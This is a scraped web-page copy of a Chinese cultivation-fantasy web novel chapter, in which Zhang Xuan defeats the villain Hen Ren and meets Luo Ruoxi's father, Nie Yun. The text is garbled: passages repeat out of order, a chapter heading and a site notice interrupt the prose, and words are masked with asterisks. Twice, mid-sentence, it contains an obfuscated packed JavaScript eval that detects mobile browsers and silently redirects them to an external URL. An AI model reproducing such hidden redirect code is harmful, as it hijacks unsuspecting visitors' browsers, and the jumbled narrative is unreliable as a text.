双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229913|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第206章团聚 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 